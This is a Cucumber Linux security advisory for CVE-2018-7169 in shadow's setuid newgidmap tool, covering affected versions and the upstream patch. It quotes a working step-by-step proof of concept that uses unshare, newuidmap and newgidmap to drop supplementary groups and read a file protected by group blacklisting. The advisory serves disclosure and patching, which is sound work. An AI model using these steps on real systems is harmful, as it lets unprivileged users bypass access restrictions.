CLD-298 Details

Other IDs this deficiency may be known by:

CVE ID CVE-2018-7169 (nvd) (mitre) (debian) (archlinux) (red hat) (suse) (ubuntu)
Other ID(s)

Basic Information:

Affected Package(s) shadow
Deficiency Type SECURITY
Date Created 2018-02-15 19:43:56
Date Last Modified 2018-02-18 11:59:43

Version Specific Information:

Cucumber 1.0 i686fixed in shadow-4.2.1-i686-5
Cucumber 1.0 x86_64fixed in shadow-4.2.1-x86_64-5

Cucumber 1.1 i686 fixed in shadow-4.2.1-i686-6
Cucumber 1.1 x86_64 fixed in shadow-4.2.1-x86_64-6

Details:

=================================== Overview ===================================

An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid
and allows an unprivileged user to be placed in a user namespace where
setgroups(2) is permitted. This allows an attacker to remove themselves from a
supplementary group, which may allow access to certain filesystem paths if the
administrator has used "group blacklisting" (e.g., chmod g-rwx) to restrict
access to paths. This flaw effectively reverts a security feature in the kernel
(in particular, the /proc/self/setgroups knob) to prevent this sort of
privilege escalation. 

================================ Initial Report ================================

From https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357:

The newgidmap setuid executable allows any user to write a single mapping line
to the gid_map of a process whose identity is the same as the calling process,
as long as that mapping line maps the process's own GID outside of the user
namespace to GID 0 inside the user namespace.

Newgidmap will write the mapping regardless of the content of
/proc/$process_being_mapped/setgroups, which will initially contain the string
"allow". After this mapping is performed, and also after the process' uid_map
is written with newuidmap, the process in the user namespace will be able to
use the setgroups system call to drop supplementary groups.

This is possible even if there is no entry for the user in /etc/subgid, because
no subordinate GIDs are actually being used.

This allows any user to circumvent the use of supplementary groups as
blacklists, e.g. for some file owned by root:blacklist with permission bits
0604 (octal). Normally any process whose identity included the group
"blacklist" in its supplementary groups would not be able to read that file. By
performing this exploit using newgidmap, they can drop all supplementary groups
and read that file.

If newgidmap was not available, unprivileged users would not be able to write a
process's gid_map until writing "deny" to /proc/$pid/setgroups. A fix for this
might be for newgidmap to check the content of
/proc/$process_being_mapped/setgroups is "deny", but we have not tried to patch
this ourselves.

An example using 2 login shells for a user named "someone" on Ubuntu Xenial,
with the uidmap package installed:

Shell 1

someone@ubuntu-xenial:~$ id
uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)

someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict
-rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict

someone@ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied

someone@ubuntu-xenial:~$ unshare -U --setgroups allow # /proc/self/setgroups already contains 'allow', but let's be explicit

nobody@ubuntu-xenial:~$ echo $$
1878

Shell 2

someone@ubuntu-xenial:~$ cat /etc/subuid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536

someone@ubuntu-xenial:~$ cat /etc/subgid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536

# There are no entries in /etc/sub{u,g}id for someone, but this doesn't matter
# that much as subordinate IDs are not being requested.

someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1

someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1

Back to shell 1

nobody@ubuntu-xenial:~$ id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

# The presence of the "nogroup" supplementary group indicates that some
# unmapped GIDs are present as supplementary GIDs. The kernel knows that this
# process still has "restricted" in its supplementary groups, so it can't read
# the restricted file yet.

nobody@ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied

# The process has gained CAP_SETGID in its user namespace by becoming UID 0.
# /proc/$pid/setgroups contains "allow", so it can call setgroups(2). By su-ing
# to root (itself, in the user namespace), it can drop the supplementary
# groups. It can't read /root/.bashrc as that file is owned by UID 0 in the
# initial user namespace, which creates some distracting error output but
# doesn't matter in this case.

nobody@ubuntu-xenial:~$ su root
su: Authentication failure
(Ignored)
bash: /root/.bashrc: Permission denied

# Supplementary groups have been dropped

root@ubuntu-xenial:~# id
uid=0(root) gid=0(root) groups=0(root)

# It can read the restricted file

root@ubuntu-xenial:~# cat /tmp/should_restrict
content

================================= Our Analysis =================================

----- Affected Products -----
Shadow up to and including version 4.5 that have not had the patch from
https://github.com/shadow-maint/shadow/commit/c53e4c1d77080c44b132cee0cc1a0d86164cf48c
applied are vulnerable to this. This includes shadow as originally packaged in
Cucumber Linux 1.0 and 1.1 (v. 4.2.1).

Originally this was not entirely clear from the initial report; however, we
have managed to reproduce this vulnerability on Cucumber Linux 1.1 in our lab
environment.

----- Scope and Impact of this Vulnerability -----
This vulnerability allows for an unprivileged user to gain access to a file that
he has had his access to blocked via "group blacklisting".

----- Fix for this Vulnerability -----
This vulnerability has been fixed upstream in commit
c53e4c1d77080c44b132cee0cc1a0d86164cf48c
and can be fixed by applying the patch from
https://github.com/shadow-maint/shadow/commit/c53e4c1d77080c44b132cee0cc1a0d86164cf48c.patch.

================================= Our Solution =================================

We have applied the aforementioned patch and rebuilt. It required some slight
modification to work on shadow 4.2.1. The modified patch can be found at:
http://mirror.cucumberlinux.com/cucumber/cucumber-1.1/source/base/shadow/patches/00020_CVE-2018-7169_c53e4c1d77080c44b132cee0cc1a0d86164cf48c.patch